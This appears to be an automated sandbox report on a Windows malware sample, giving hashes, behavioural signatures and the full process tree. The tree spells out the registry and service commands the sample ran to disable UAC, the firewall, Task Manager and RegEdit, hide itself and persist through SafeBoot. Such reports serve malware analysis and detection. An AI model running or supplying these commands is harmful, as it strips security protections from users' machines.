Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    26-07-2024 23:46

General

  • Target

    763ef81345f2e3046e07ce3c9fc772b6_JaffaCakes118.exe

  • Size

    608KB

  • MD5

    763ef81345f2e3046e07ce3c9fc772b6

  • SHA1

    e7b4ee03f99b23be9d19bcdbc13a3ea8e3b7a852

  • SHA256

    f200b09ded14613804a32d367733c8e38e7c6d207a62e1c911b5ddf1e5a68545

  • SHA512

    2d068e5a57d4aa232b81116c00b7e9ed33e2c6cfe8b9e37bb88666b372471dc5232cbba4bb6fee383aabdc0a05c2c5bf174ccb2875653484f886f158ede9347e

  • SSDEEP

    12288:zjgVEGHSRgah8p5gkd7mNvZn479Q5bQjNDhlWM:zimRg/mv2q5bm3P

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\763ef81345f2e3046e07ce3c9fc772b6_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\763ef81345f2e3046e07ce3c9fc772b6_JaffaCakes118.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2936
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c copy "C:\Users\Admin\AppData\Local\Temp\763ef81345f2e3046e07ce3c9fc772b6_JaffaCakes118.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\shell32.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2184
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c attrib +R +S +H "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\shell32.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2076
      • C:\Windows\SysWOW64\attrib.exe
        attrib +R +S +H "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\shell32.exe"
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2156
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c %windir%\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\SafeBoot" /v "AlternateShell" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\shell32.exe" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3004
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\SafeBoot" /v "AlternateShell" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\shell32.exe" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3012
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c net stop SharedAccess
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2168
      • C:\Windows\SysWOW64\net.exe
        net stop SharedAccess
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2552
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop SharedAccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1156
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c sc config SharedAccess start= disabled
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2932
      • C:\Windows\SysWOW64\sc.exe
        sc config SharedAccess start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2132
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2788
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2624
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2928
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
        3⤵
        • UAC bypass
        • System Location Discovery: System Language Discovery
        PID:3020
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d "2" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:700
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d "2" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2472
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies visibility of file extensions in Explorer
        • System Location Discovery: System Language Discovery
        PID:604
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2236
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2280
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2672
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2752
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c net stop ERSvc
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2760
      • C:\Windows\SysWOW64\net.exe
        net stop ERSvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2640
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop ERSvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2488
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c sc config ERSvc start= disabled
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2800
      • C:\Windows\SysWOW64\sc.exe
        sc config ERSvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3024
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2804
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
        3⤵
        • Disables RegEdit via registry modification
        • System Location Discovery: System Language Discovery
        PID:1636
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /IM cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2416
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c %windir%\System32\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://cmyip.com" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2020
      • C:\Windows\SysWOW64\reg.exe
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://cmyip.com" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\shell32.exe

    Filesize

    608KB

    MD5

    763ef81345f2e3046e07ce3c9fc772b6

    SHA1

    e7b4ee03f99b23be9d19bcdbc13a3ea8e3b7a852

    SHA256

    f200b09ded14613804a32d367733c8e38e7c6d207a62e1c911b5ddf1e5a68545

    SHA512

    2d068e5a57d4aa232b81116c00b7e9ed33e2c6cfe8b9e37bb88666b372471dc5232cbba4bb6fee383aabdc0a05c2c5bf174ccb2875653484f886f158ede9347e